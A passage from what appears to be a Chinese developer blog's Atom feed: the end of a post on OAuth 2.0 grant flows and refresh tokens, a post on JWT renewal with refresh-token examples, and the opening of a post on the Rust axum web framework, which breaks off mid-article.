&lt;p&gt;第一、第二种授权机制的第一步骤中是否需要client_secret？按理需要，但该步骤中第三方应用把信息传递给授权服务时只能通过url，此时会泄露，所以不需要；另外，第一种中，第一步骤是为了申请资源拥有者授权，故只要对拥有者认证，第二步才对Client认证。&lt;&#x2F;p&gt;
&lt;p&gt;第一种适用于Web-Server  app（带后台的应用），第二种适用于Browser-based app（无后台应用，纯前台页面）。&lt;&#x2F;p&gt;
&lt;p&gt;为什么不在用户同意授权后（步骤1）就直接把token返回给第三方？&lt;&#x2F;p&gt;
&lt;p&gt;因为授权页面是在授权服务，不可能让授权服务主动去调客户端来给他授权码（代价高），故授权成功后授权服务要把信息返回给第三方应用只能通知浏览器通过重定向（总不能让授权服务去调第三方应用的接口）来实现，所以信息只能放在url，而token放url不安全，故加了一个步骤来防止token出现在url：&lt;&#x2F;p&gt;
&lt;p&gt;方式1（这就是第一种授权机制采用的）：重定向+第二步骤。先返回授权码然后由第三方应用服务器带着授权码向授权服务请求token，这过程在后台运行，界面上是看不到。此方式的一个小缺点：由于包括 访问重定向到第三方服务器的url、第三方服务器在该url hanlder中完成请求token逻辑 两部分，故可能页面会稍微停顿一会。&lt;&#x2F;p&gt;
&lt;p&gt;方式2（这就是第二种授权机制采用的）：重定向+加密。将token作为hash参数而不是query参数附在client请求时指定的redirect uri以减少token泄露风险（因为浏览器请求时不会将hash参数发给后端），通常还可先对token做下编码处理以免明文出现在url中。该redirect uri通常是个包含有js script的页面，浏览器访问时会执行js脚本，该脚本逻辑为从redirect uri中提取出token，然后保存在浏览器。&lt;&#x2F;p&gt;
&lt;p&gt;为什么不在用户同意授权后（步骤1）就直接返回资源给第三方？返回不了，原因：&lt;&#x2F;p&gt;
&lt;p&gt;当前是在授权服务的前端页面，不可能让授权服务去调第三方接口上传给第三方，这点与上面不在第一步直接返回token同理；&lt;&#x2F;p&gt;
&lt;p&gt;用重定向也不行因为不可能把资源放url上（简单的字符串可以，图片呢？）。&lt;&#x2F;p&gt;
&lt;p&gt;简而言之，资源必须是先由客户端主动发起请求才返回的。&lt;&#x2F;p&gt;
&lt;p&gt;为什么授权码模式中不在客户端带着授权码来请求时（步骤2）返回资源而不是返回token？技术上是行得通，但如果这样的话那授权码就相当于是“令牌”了，为了安全，此时：一方面你就得考虑授权码的有效期、刷新等问题；另一方面，即使你考虑好了这些问题，但在前一步中授权码是通过url返回给客户端的，即“令牌”出现在了url，这不安全。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;guan-yu-shi-fou-fan-hui-refresh-token&quot;&gt;关于是否返回refresh token&lt;&#x2F;h3&gt;
&lt;p&gt;各种授权模式下是否签发refresh token：1、3是，2、4否。为何？&lt;&#x2F;p&gt;
&lt;p&gt;refresh token的意义在于让系统代替用户决策去获取access token，显然只有1、2、3种授权中有用户的参与（更多可参阅 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;29233772&#x2F;why-is-a-refresh-token-not-provided-by-oauth2-servers-responding-to-a-client-cr&quot;&gt;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;29233772&#x2F;why-is-a-refresh-token-not-provided-by-oauth2-servers-responding-to-a-client-cr&lt;&#x2F;a&gt;），此外因第2种中token出现在url，为了减少token有效期，不签发refresh token。综上，只有1、3是。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;qi-ta&quot;&gt;其他&lt;&#x2F;h3&gt;
&lt;p&gt;OAuth2.0与1.0是不兼容的，共性少。&lt;&#x2F;p&gt;
&lt;p&gt;TLS is mandatory to implement and to use with OAuth 2.0.&lt;&#x2F;p&gt;
&lt;p&gt;This specification leaves a few required components partially or fully undefined (e.g., client registration, authorization server capabilities, endpoint discovery).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;6-kuo-zhan&quot;&gt;6 扩展&lt;&#x2F;h2&gt;
&lt;p&gt;OAuth 2.0 的一个典型应用是 OIDC（OpenID Connect）。&lt;&#x2F;p&gt;
&lt;p&gt;OIDC是OpenID Connect的简称，OIDC=(Identity, Authentication) + OAuth 2.0。它在OAuth2上构建了一个身份层，是一个基于OAuth2协议的身份认证标准协议。我们都知道OAuth2是一个授权协议，它无法提供完善的身份认证功能，OIDC使用OAuth2的授权服务器来为第三方客户端提供用户的身份认证，并把对应的身份认证信息传递给客户端，其可以适用于各种类型的客户端（比如服务端应用，移动APP，JS应用），且完全兼容OAuth2，也就是说你搭建了一个OIDC的服务后，也可以当作一个OAuth2的服务来用。&lt;&#x2F;p&gt;
&lt;p&gt;详情参阅：&lt;&#x2F;p&gt;
&lt;p&gt;OAuth1.0 协议，可参阅 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc5849&quot;&gt;官方标准 rfc5849&lt;&#x2F;a&gt;、&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;pandeysoni.medium.com&#x2F;how-to-create-oauth-1-0a-signature-in-node-js-7d477dead170&quot;&gt;快速入门指引&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>【SSO单点登录】JWT续签问题 &amp;&amp; OAuth2.0 中的refreshToken刷新机制①JWT续签问题 ②快过期</title>
        <published>2025-05-17T00:00:00+00:00</published>
        <updated>2025-05-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/sso单点登录-jwt续签问题-oauth2.0-中的refreshtoken刷新机制1jwt续签问题-2快过期/"/>
        <id>https://vercel.juzhong.asia/obsidian/sso单点登录-jwt续签问题-oauth2.0-中的refreshtoken刷新机制1jwt续签问题-2快过期/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/sso单点登录-jwt续签问题-oauth2.0-中的refreshtoken刷新机制1jwt续签问题-2快过期/">&lt;h1 id=&quot;ssodan-dian-deng-lu-jwtxu-qian-wen-ti-oauth2-0-zhong-de-refreshtokenshua-xin-ji-zhi-jwtxu-qian-wen-ti-kuai-guo-qi&quot;&gt;【SSO单点登录】JWT续签问题 &amp;amp;&amp;amp; OAuth2.0 中的refreshToken刷新机制①JWT续签问题 ②快过期&lt;&#x2F;h1&gt;
&lt;p&gt;【SSO单点登录】JWT续签问题 &amp;amp;&amp;amp; OAuth2.0 中的refreshToken刷新机制&lt;&#x2F;p&gt;
&lt;p&gt;持续创作，加速成长！这是我参与「掘金日新计划 · 10 月更文挑战」的第 5 天，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;post&#x2F;7147654075599978532&quot; href=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;post&#x2F;7147654075599978532&quot;&gt;点击查看活动详情&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;大家好，我是melo，一名大三后台练习生，不知不觉练习时间长达一年了！！！&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;point-right-ben-pian-su-lan&quot;&gt;👉本篇速览&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;JWT续签问题&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;快过期时返回新的token&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;refreshToken&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如何判断refreshToken的有效性&lt;&#x2F;li&gt;
&lt;li&gt;扩展 -- OAuth2.0 中的refreshToken刷新机制&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;其他需要刷新token的情况&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;用户修改了角色权限&lt;&#x2F;li&gt;
&lt;li&gt;删除了某个身份角色&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;wei-shen-me-xu-yao-xu-qian&quot;&gt;为什么需要续签&lt;&#x2F;h2&gt;
&lt;p&gt;如果给JWT设定了一个有效时间的话，时间到JWT是会过期的。但假如这个时候用户正在提交重要信息，填了一大堆信息，按下按钮时，后台拦截器发现token过期，告知前端，前端直接退回登录页，那这次提交就相当于无效了，还得登录后重新填一遍【当然前端也能做缓存，这里就不考虑那么多了，只是个栗子】&lt;&#x2F;p&gt;
&lt;p&gt;而原始JWT设计下，是没有考虑续签问题的。所以续签（即延长JWT的过期时间）工作需要我们自己来做。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;kuai-guo-qi-liao-fan-hui-xin-de-token&quot;&gt;快过期了返回新的token&lt;&#x2F;h2&gt;
&lt;p&gt;类似于 Session 认证中的做法： 假设服务端给的 token 有效期设置为30分钟，服务端每次进行校验时，如果发现 token 的&lt;strong&gt;有效期马上快过期了，&lt;&#x2F;strong&gt;  服务端就重新生成 token 给客户端。&lt;&#x2F;p&gt;
&lt;p&gt;客户端每次请求都&lt;strong&gt;检查新旧token&lt;&#x2F;strong&gt;，如果不一致，则更新客户端存储的token。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;这种做法的问题是仅仅&lt;strong&gt;在快过期的时候&lt;&#x2F;strong&gt;请求才会更新 token ,对客户端不是很友好。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;liu-cheng-tu&quot;&gt;流程图&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;sso-jwt-refresh&#x2F;jwt-refresh-token-flow.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;用户登录返回两个 token ：第一个是 acessToken ，它的过期时间比较短，比如是1天；另外一个是 refreshToken 它的过期时间更长一点，可以是accessToken的2倍：2天。&lt;&#x2F;p&gt;
&lt;p&gt;客户端登录后，将 accessToken和refreshToken 保存在客户端本地，每次访问将 accessToken 传给服务端。服务端校验 accessToken 的有效性，&lt;&#x2F;p&gt;
&lt;p&gt;如果过期的话，就将 &lt;strong&gt;refreshToken&lt;&#x2F;strong&gt; 传给服务端。如果 refreshToken&lt;strong&gt;有效&lt;&#x2F;strong&gt;，服务端就生成新的 accessToken 给客户端。否则，客户端就重新登录即可。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fireworks-ru-he-pan-duan-refreshtokende-you-xiao-xing&quot;&gt;🎆如何判断refreshToken的有效性&lt;&#x2F;h2&gt;
&lt;p&gt;将生成的 Refresh Token 以及过期时间存储在服务端的数据库中，由于 Refresh Token 不会在客户端请求业务接口时验证，只有在&lt;strong&gt;申请新的 Access Token 时才会验证&lt;&#x2F;strong&gt;，所以将 Refresh Token 存储在数据库中，不会对业务接口的响应时间造成影响，也不需要像 Session 一样一直保持在内存中以应对大量的请求。&lt;&#x2F;p&gt;
&lt;p&gt;当然，更安全的方式是，客户端需要绑定一个client_id和secret，服务端会验证这个refreshToken是否是改客户端发起的，防止被盗用【这个是后话了，我们后续基于token的SSO单点登录，&lt;strong&gt;验证令牌ticket&lt;&#x2F;strong&gt;的时候还会着重讲解】&lt;&#x2F;p&gt;
&lt;h2 id=&quot;balloon-refreshtokenwei-shen-me-jiu-geng-an-quan&quot;&gt;🎈refreshToken为什么就更安全？&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;因为 refreshToken 是保存在客户端的，并不是每次请求都会携带，只有在需要续签的时候才会带上，并且用完一次就过期了，相对更安全一点。&lt;&#x2F;li&gt;
&lt;li&gt;一般 refreshToken 还会绑定客户端client_id，不允许任何客户端都能调用【类似Oauth2.0中的用code获取accessToken的过程】&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;que-dian&quot;&gt;缺点&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;重新请求获取 token 的过程中会有短暂 token 不可用的情况（可以通过在&lt;strong&gt;客户端设置定时器&lt;&#x2F;strong&gt;，当accessToken 快过期的时候，提前去通过 refreshToken 获取新的accessToken）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;kuo-zhan-oauth2-0zhong-de-shua-xin-ji-zhi&quot;&gt;扩展 -- OAuth2.0中的刷新机制&lt;&#x2F;h3&gt;
&lt;p&gt;客户端在获得access token的同时也会在响应信息中得到一个名为&lt;strong&gt;expires_in&lt;&#x2F;strong&gt;的数据，它表示当前获得的access token会在多少秒以后过期。 当超过该指定的秒数后，access token便会过期。当access token过期后，如果客户端依然用它访问服务，服务端就会返回invalid_token的错误或401错误码。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;HTTP&amp;#x2F;1.1 401 Unauthorized
Content-Type: application&amp;#x2F;json
Cache-Control: no-store
Pragma: no-cache

{
    &amp;quot;error&amp;quot;: &amp;quot;invaild_token&amp;quot;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果用户访问的时候，客户端的&quot;访问令牌AccessToken&quot;已经过期，则需要使用&quot;更新令牌refreshToken&quot;申请一个新的访问令牌。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;客户端发出更新令牌的HTTP请求，包含以下参数：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;granttype：表示使用的授权模式，此处的值固定为&quot;refreshtoken&quot;，必选项。&lt;&#x2F;li&gt;
&lt;li&gt;refresh_token：表示早前收到的更新令牌，必选项。&lt;&#x2F;li&gt;
&lt;li&gt;scope：表示申请的授权范围，不可以超出上一次申请的范围，如果省略该参数，则表示与上一次一致。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;java&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;POST &amp;#x2F;v1&amp;#x2F;oauth2&amp;#x2F;token HTTP&amp;#x2F;1.1
Host: melo.com
Authorization: Bearer zskldjflsdjflksjdflkjsd
Content-Type: application&amp;#x2F;x-www-form-urlencoded

grent_type=refresh_token&amp;amp;refresh_tokne=ajsldkjflskdfjldfg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;yong-hu-xiu-gai-liao-jiao-se-de-quan-xian&quot;&gt;用户修改了角色的权限&lt;&#x2F;h3&gt;
&lt;p&gt;由于权限是&lt;strong&gt;在登录的时候&lt;&#x2F;strong&gt;，绑定在token里边了，若登录后，管理员修改了角色的权限，而服务端此时还拿&lt;strong&gt;一开始登录的token&lt;&#x2F;strong&gt;去获取权限的话，就会出现不同步，所以需要&lt;strong&gt;主动刷新token更新权限&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shan-chu-liao-mou-ge-shen-fen-jiao-se&quot;&gt;删除了某个身份角色&lt;&#x2F;h3&gt;
&lt;p&gt;情况跟上边是类似的，本质上也是身份权限发生了变更，只要是token中的信息，发生了变化，而我们之后还要用到，会出现数据不一致的情况，就需要刷新token&lt;&#x2F;p&gt;
&lt;h2 id=&quot;diamond-shape-with-a-dot-inside-xia-pian-yu-gao&quot;&gt;💠下篇预告&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;本篇就JWT续签问题和OAuth2.0展开了解读，也算是浅提及到了OAuth2.0机制，后续的SSO单点登录基于ticket形式实现，其中就借鉴了OAuth2.0中的授权码机制。&lt;&#x2F;li&gt;
&lt;li&gt;聊完了前置知识，Cookie和Session以及JWT，下篇我们将&lt;strong&gt;正式进入SSO单点登录篇&lt;&#x2F;strong&gt;，展开第一种SSO单点登录方式--&lt;strong&gt;基于Cookie和Session实现&lt;&#x2F;strong&gt;，敬请期待~&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;nazar-amulet-you-lian&quot;&gt;🧿友链&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;column&#x2F;7149412949466021895&quot; href=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;column&#x2F;7149412949466021895&quot;&gt;SSO单点登录专栏&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;column&#x2F;7060377126666502157&quot; href=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;column&#x2F;7060377126666502157&quot;&gt;MySQL高级篇专栏&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;post&#x2F;7047707966187208711&quot; href=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;post&#x2F;7047707966187208711&quot;&gt;🎉我的一年后台练习生涯&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;column&#x2F;7025173818280771614&quot; href=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;column&#x2F;7025173818280771614&quot;&gt;聊聊Java&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;column&#x2F;7019916554053615652&quot; href=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;column&#x2F;7019916554053615652&quot;&gt;分布式开发实战&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;column&#x2F;7028537737347072037&quot; href=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;column&#x2F;7028537737347072037&quot;&gt;Redis入门与实战&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;column&#x2F;7005759018002186247&quot; href=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;column&#x2F;7005759018002186247&quot;&gt;数据结构与算法&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>优雅地组合：谈谈 axum</title>
        <published>2025-04-21T00:00:00+00:00</published>
        <updated>2025-04-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/优雅地组合-谈谈-axum/"/>
        <id>https://vercel.juzhong.asia/obsidian/优雅地组合-谈谈-axum/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/优雅地组合-谈谈-axum/">&lt;h1 id=&quot;you-ya-di-zu-he-tan-tan-axum&quot;&gt;优雅地组合：谈谈 axum&lt;&#x2F;h1&gt;
&lt;p&gt;Axum 是 tokio 官方出品的一个非常优秀的 web 开发框架，一经推出，就博得了我的好感，让我迅速成为它的粉丝。相比之前我使用过的 Rust web 框架，如 rocket，actix-web，axum 对我最大的吸引力就是它优雅的架构：它没有选择从零开始另起炉灶，而是以同样非常优秀的 tower 库的 Service trait 为基石，构建其功能。&lt;&#x2F;p&gt;
&lt;p&gt;我们可以想想，通讯过程中最普遍的请求-响应模型该如何构建？其实，我们只需要一个处理 Request，并返回 Response 的异步函数就可以表达这个模型：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;async fn(Request) -&amp;gt; Result&amp;lt;Response, Error&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;它不光对 HTTP 适用，也对其它任何协议都适用。当然，如果你用不同的模型，如 Pub-Sub 模型，那么就不能使用这个异步函数。&lt;&#x2F;p&gt;
&lt;p&gt;在真实的 web 世界中，一个请求往往需要由一个复杂的流程来处理。比如我们拿到请求后，要先看负载决定要不要执行，如果要执行就从 HTTP header 中拿到 token，得到用户信息，然后验证请求（包括 header，url 和 body），然后再做一系列的处理，最后得到一个 Response 返回。如果把所有的逻辑都塞到同一个处理函数中，那么，代码会非常冗长且可复用性很差。所以，几乎所有的 web 框架都提供了流水线处理的逻辑，使得流程中公共的部分可以被抽取出来，成为可复用的 middleware。然而，大部分这样的框架都只关注 web，甚至只关注 HTTP&#x2F;1，并没有把这个逻辑抽象到适用于所有请求-响应的场景。Tower 则考虑到了通用性，其 Service trait 本身跟 HTTP 无关，因而我们可以构建通用的 middleware，比如 retry，reconnect，load_shed，load_balance 等：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;axum-framework&#x2F;tower-middleware-layers.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这些通用的 middleware 对任何满足请求-响应场景的协议都适用。同时，我们也可以构造 HTTP 专属的 middleware，比如：auth token 的处理，header&#x2F;body 的解析等等：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] axum 中间件：add_extension 注入请求扩展值、auth 授权、compression&#x2F;decompression 压缩&#x2F;解压（br&#x2F;deflate&#x2F;gzip）、cors 跨域头、follow_redirect 重定向、map_request&#x2F;response_body 体变换、metrics 指标、propagate_header 头回传、request_id 请求 ID、sensitive_headers 敏感头、set_header 设头、trace 追踪。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;所以，当 axum 构建在 tower 生态之上的那一刻起，就注定了 axum 可以组合使用这个生态下的已有的 middleware。比如，你可以这样构建自己的 service：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;#[tokio::main]
async fn main() {
    &amp;#x2F;&amp;#x2F; Construct the shared state.
    let state = State {
        pool: DatabaseConnectionPool::new(),
    };

    &amp;#x2F;&amp;#x2F; Use tower&amp;#x27;s `ServiceBuilder` API to build a stack of tower middleware
    &amp;#x2F;&amp;#x2F; wrapping our request handler.
    let service = ServiceBuilder::new()
        &amp;#x2F;&amp;#x2F; Mark the `Authorization` request header as sensitive so it doesn&amp;#x27;t show in logs
        .layer(SetSensitiveRequestHeadersLayer::new(once(AUTHORIZATION)))
        &amp;#x2F;&amp;#x2F; High level logging of requests and responses
        .layer(TraceLayer::new_for_http())
        &amp;#x2F;&amp;#x2F; Share an `Arc&amp;lt;State&amp;gt;` with all requests
        .layer(AddExtensionLayer::new(Arc::new(state)))
        &amp;#x2F;&amp;#x2F; Compress responses
        .layer(CompressionLayer::new())
        &amp;#x2F;&amp;#x2F; Propagate `X-Request-Id`s from requests to responses
        .layer(PropagateHeaderLayer::new(HeaderName::from_static(&amp;quot;x-request-id&amp;quot;)))
        &amp;#x2F;&amp;#x2F; If the response has a known size set the `Content-Length` header
        .layer(SetResponseHeaderLayer::overriding(CONTENT_TYPE, content_length_from_response))
        &amp;#x2F;&amp;#x2F; Authorize requests using a token
        .layer(RequireAuthorizationLayer::bearer(&amp;quot;passwordlol&amp;quot;))
        &amp;#x2F;&amp;#x2F; Wrap a `Service` in our middleware stack
        .service_fn(handler);

    &amp;#x2F;&amp;#x2F; And run our service using `hyper`
    let addr = SocketAddr::from(([127, 0, 0, 1], 3000));
    Server::bind(&amp;amp;addr)
        .serve(Shared::new(service))
        .await
        .expect(&amp;quot;server error&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这同样也意味着，你所写的每一个 middleware，都潜在可以被其它使用了 tower 的网络应用调用，比如 tonic（rust GRPC 实现）。&lt;&#x2F;p&gt;
&lt;p&gt;好，说了这么多，都是 tower 的好处，那 axum 自己的独到之处呢？官网上给出了这几点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;复用 tower &#x2F; tower-http 的生态。这个就不说了。&lt;&#x2F;li&gt;
&lt;li&gt;路由处理没有使用宏（确切地说，没有使用过程宏）。这就意味着路由的 handler 可以很容易复用。&lt;&#x2F;li&gt;
&lt;li&gt;可以使用 Extractor 声明式地解析 requests。声明式开发最大的好处就是组合，就是可复用性。&lt;&#x2F;li&gt;
&lt;li&gt;简单直观的错误处理。你的 Error 只需要实现 IntoResponse 即可。&lt;&#x2F;li&gt;
&lt;li&gt;构建 response 时只需要很少量的脚手架代码。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这里，我们重点说 Extractor。我非常喜欢这个设计。一个 extractor 实际上就是实现了 FromRequest trait 的一个数据结构：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;#[async_trait]
pub trait FromRequest&amp;lt;B&amp;gt;: Sized {
    &amp;#x2F;&amp;#x2F;&amp;#x2F; If the extractor fails it&amp;#x27;ll use this &amp;quot;rejection&amp;quot; type. A rejection is
    &amp;#x2F;&amp;#x2F;&amp;#x2F; a kind of error that can be converted into a response.
    type Rejection: IntoResponse;

    &amp;#x2F;&amp;#x2F;&amp;#x2F; Perform the extraction.
    async fn from_request(req: &amp;amp;mut RequestParts&amp;lt;B&amp;gt;) -&amp;gt; Result&amp;lt;Self, Self::Rejection&amp;gt;;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;比如 axum::Json&amp;lt;T&amp;gt; 实现了 FromRequest：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;pub struct Json&amp;lt;T&amp;gt;(pub T);

#[async_trait]
impl&amp;lt;T, B&amp;gt; FromRequest&amp;lt;B&amp;gt; for Json&amp;lt;T&amp;gt;
where
    T: DeserializeOwned,
    B: HttpBody + Send,
    B::Data: Send,
    B::Error: Into&amp;lt;BoxError&amp;gt;,
{
    type Rejection = JsonRejection;

    async fn from_request(req: &amp;amp;mut RequestParts&amp;lt;B&amp;gt;) -&amp;gt; Result&amp;lt;Self, Self::Rejection&amp;gt; {
        if json_content_type(req)? {
            let bytes = Bytes::from_request(req).await?;

            let value = serde_json::from_slice(&amp;amp;bytes).map_err(InvalidJsonBody::from_err)?;

            Ok(Json(value))
        } else {
            Err(MissingJsonContentType.into())
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个实现很好理解，就是判断如果 request body 是 Json，就使用 serde_json 反序列化出 T，返回 Json&amp;lt;T&amp;gt;。这里 T 需要是 DeserializeOwned，也就是任何实现了 serde::Deserialize 的数据结构，就可以使用 Json&amp;lt;T&amp;gt; extractor 从 request body 中得到反序列化好的结果。&lt;&#x2F;p&gt;
&lt;p&gt;我们看如何使用这个 extractor：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;#[derive(Deserialize)]
struct CreateUser {
    email: String,
    password: String,
}

async fn create_user(Json(payload): Json&amp;lt;CreateUser&amp;gt;) {
    &amp;#x2F;&amp;#x2F; ...
}

let app = Router::new().route(&amp;quot;&amp;#x2F;users&amp;quot;, post(create_user));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里，我们只需要声明 CreateUser 是 Deserialize，就可以在路由的 handler &lt;code&gt;create_user&lt;&#x2F;code&gt; 中直接作为参数（Json&amp;lt;CreateUser&amp;gt;）使用。这里我们还用到了模式匹配，让 payload 直接匹配到 CreateUser，所以在 create_user 函数中，我们就可以直接操作反序列化成 CreateUser 的 payload，做需要的处理。&lt;&#x2F;p&gt;
&lt;p&gt;如果我们在创建用户的时候需要 http header 中的 user agent，来得到用户创建时的来源，那么只需要在 &lt;code&gt;create_user&lt;&#x2F;code&gt; 函数中添加 TypedHeader 这个 extractor 即可：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;async fn create_user(
    TypedHeader(user_agent): TypedHeader&amp;lt;UserAgent&amp;gt;,
    Json(payload): Json&amp;lt;CreateUser&amp;gt;
) {
    &amp;#x2F;&amp;#x2F; ...
}

let app = Router::new().route(&amp;quot;&amp;#x2F;users&amp;quot;, post(create_user));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这看上去似乎不可思议，一个有严格类型定义的 Rust 函数，怎么可以像 javascript 一样如此「动态」地使用，而编译器不报错呢？&lt;&#x2F;p&gt;
